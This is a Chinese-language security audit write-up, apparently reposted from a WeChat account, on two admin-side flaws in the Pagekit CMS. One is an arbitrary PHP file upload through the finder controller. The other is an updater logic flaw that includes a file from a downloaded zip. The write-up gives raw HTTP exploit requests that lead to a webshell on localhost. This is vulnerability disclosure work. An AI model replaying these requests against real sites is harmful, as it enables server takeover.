项目地址：
https://github.com/pagekit/pagekit
Pagekit 是一个轻量级的模块化 CMS 系统，使用 Symfony 框架构建。
后台任意文件上传漏洞路径：
app/system/modules/finder/src/Controller/FinderController.php//148 – 185行
此处存在过滤 但是后台只需简单配置即可上传任意php文件
设置并保存 。
任意位置即可上传php文件
成功上传 此处上传所在目录为：
/storage/上传文件名此处上传的路径为
http://localhost /storage/PassWaf_3.php
Antsword链接成功
后台逻辑缺陷导致GetShell：
漏洞路径
app/installer/src/Controller/UpdateController.php32-72行 downloadAction与updateAction函数
app/installer/src/SelfUpdater.php
此处可以看到 对远程拉取的文件中的
app/installer/requirements.php进行包含，由此构造zip文件如下
POST/index.php/admin/system/update/download HTTP/1.1Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding:gzip, deflateAccept-Language:zh-CN,zh;q=0.9Connection:keep-aliveContent-Length: 58Content-Type:application/x-www-form-urlencodedCookie:admin_mojavi=vn4tg0umd7hd63kfl1p44e61td; PHPSESSID=i0fqqm5k71s9mq98q5n5ou3sad;DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=fe2a1e4a49da402d;DedeLoginTime=1692351480;DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=c7d09a9eb920d2c4; pagekit_session=55jlv45mm08d9n4kbs8i6jud1n;pagekit_auth=IsjDDxkm1%2FKFr6QsRuCTyWTKubgoaZWFQVTUpdIuqNlSXNqszKJ01BP6yEOn0E3iHost:Referer: http://localhost/index.php/admin/system/update/downloadUser-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/115.0.0.0 Safari/537.36url=app.zip&_csrf=4eb8d50f82ebae5b1fa16d5177d99ea7d740a8b2
Payload：POST/index.php/admin/system/update/update HTTP/1.1Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding:gzip, deflateAccept-Language:zh-CN,zh;q=0.9Cache-Control:max-age=0Connection:keep-aliveContent-Length: 46Content-Type:application/x-www-form-urlencodedCookie:admin_mojavi=vn4tg0umd7hd63kfl1p44e61td; PHPSESSID=i0fqqm5k71s9mq98q5n5ou3sad;DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=fe2a1e4a49da402d;DedeLoginTime=1692351480;DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=c7d09a9eb920d2c4; pagekit_session=55jlv45mm08d9n4kbs8i6jud1n;pagekit_auth=IsjDDxkm1%2FKFr6QsRuCTyWTKubgoaZWFQVTUpdIuqNlSXNqszKJ01BP6yEOn0E3iHost: localhostReferer: http://localhost/index.php/admin/system/update/updateUser-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/115.0.0.0 Safari/537.36_csrf=4eb8d50f82ebae5b1fa16d5177d99ea7d740a8b2
发送成功，看看包含的文件执行没有
发现文件成功执行并生成shell.php
原文始发于微信公众号（flower安全）：Pagekit Cms审计报告
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